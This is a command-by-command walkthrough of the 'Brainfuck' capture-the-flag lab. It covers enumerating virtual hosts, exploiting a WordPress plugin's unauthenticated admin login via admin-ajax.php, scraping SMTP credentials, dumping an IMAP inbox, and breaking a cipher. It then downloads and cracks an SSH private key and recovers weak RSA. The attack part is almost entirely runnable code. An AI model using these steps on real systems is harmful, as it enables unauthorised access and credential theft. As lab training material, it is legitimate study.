Brainfuck

Dump the TLS cert and extract SAN entries.

$ openssl s_client -connect $TARGET:443 </dev/null 2>/dev/null | openssl x509 -noout -text | grep -A2 'Subject Alternative'

Register all discovered vhosts so subsequent tools resolve them.

$ echo "$TARGET brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb" | sudo tee -a /etc/hosts

Confirm the hidden forum vhost responds.

$ curl -k -sS -o /dev/null -w 'sup3rs3cr3t HTTP %{http_code}\n' https://sup3rs3cr3t.brainfuck.htb/

--disable-tls-checks bypasses the self-signed cert; vp=vulnerable plugins, u=users.

$ wpscan --url https://brainfuck.htb --disable-tls-checks --plugins-detection aggressive --enumerate vp,vt,u

The plugin's loginGuestFacebook action accepts any username with no password check.

$ curl -k -sS -i -c /tmp/bf_wp.cookie -b /tmp/bf_wp.cookie -X POST 'https://brainfuck.htb/wp-admin/admin-ajax.php' -d 'action=loginGuestFacebook&username=administrator'

A 200 (not 302 redirect to login) confirms the cookie grants real dashboard access.

$ curl -k -sS -o /dev/null -w 'wp-admin HTTP %{http_code}\n' -b /tmp/bf_wp.cookie https://brainfuck.htb/wp-admin/

The settings page renders credentials in HTML form fields; grep extracts them.

$ curl -k -sS -b /tmp/bf_wp.cookie 'https://brainfuck.htb/wp-admin/options-general.php?page=swpsmtp_settings' | grep -i 'pass\|smtp_user\|smtp_password'

Dumps every INBOX message body. Look for the forum URL and password.

$ python3 -c "
import imaplib, email as em
m = imaplib.IMAP4('$TARGET', 143)
m.starttls()
m.login('orestis', '$PASSWORD')
m.select('INBOX')
_, ids = m.search(None, 'ALL')
for i in ids[0].split():
    _, d = m.fetch(i, '(RFC822)')
    print(em.message_from_bytes(d[0][1]).get_payload())
m.logout()
"

Alternative interactive IMAP session; issue 'a LOGIN orestis $PASSWORD' then 'a SELECT INBOX' then 'a FETCH 1:* BODY[TEXT]'.

$ openssl s_client -connect $TARGET:143 -starttls imap

Retrieve the forum thread list; repeat for each thread ID to fetch post bodies.

$ curl -k -sS -c /tmp/bf_forum.cookie -b /tmp/bf_forum.cookie 'https://sup3rs3cr3t.brainfuck.htb/api/discussions'

Substitute the actual ciphertext of the repeated signature line to get the key '$KEY2'.

$ python3 -c "
def recover_key(ctext, plaintext):
    key = ''
    ct, pt = ctext.upper(), plaintext.upper()
    for c, p in zip(ct, pt):
        if c.isalpha() and p.isalpha():
            key += chr((ord(c) - ord(p)) % 26 + ord('A'))
    return key
# Replace <cipher_suffix> with the ciphertext of the known signature from the forum post
print(recover_key('<cipher_suffix>', 'ORESTIS - HACKING FOR FUN AND PROFIT'))
"

Download orestis' SSH private key from the URL revealed in the decrypted forum post.

$ curl -k -sS -o id_rsa "https://brainfuck.htb/$HEX_ID/orestis/id_rsa" && chmod 600 id_rsa

Convert the encrypted PEM to john's hash format.

$ ssh2john id_rsa > id_rsa.hash

Crack offline; recovers passphrase '$PASSWORD2'.

$ john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

Enter passphrase '$PASSWORD2' when prompted. Run 'id' and 'cat ~/user.txt' to confirm access.

$ ssh -i id_rsa orestis@brainfuck.htb

Run on the target as orestis to read p, q, e, and the ciphertext value.

$ cat ~/encrypt.sage ~/debug.txt

Output is the decrypted root flag: <root.txt>. Verify against /root/root.txt on target.

$ python3 -c "
# Substitute p, q, e, ct from debug.txt
p   = <p_from_debug_txt>
q   = <q_from_debug_txt>
e   = <e_from_debug_txt>
ct  = <ciphertext_from_debug_txt>
n   = p * q
phi = (p - 1) * (q - 1)
d   = pow(e, -1, phi)
pt  = pow(ct, d, n)
print(bytes.fromhex(hex(pt)[2:]).decode())
"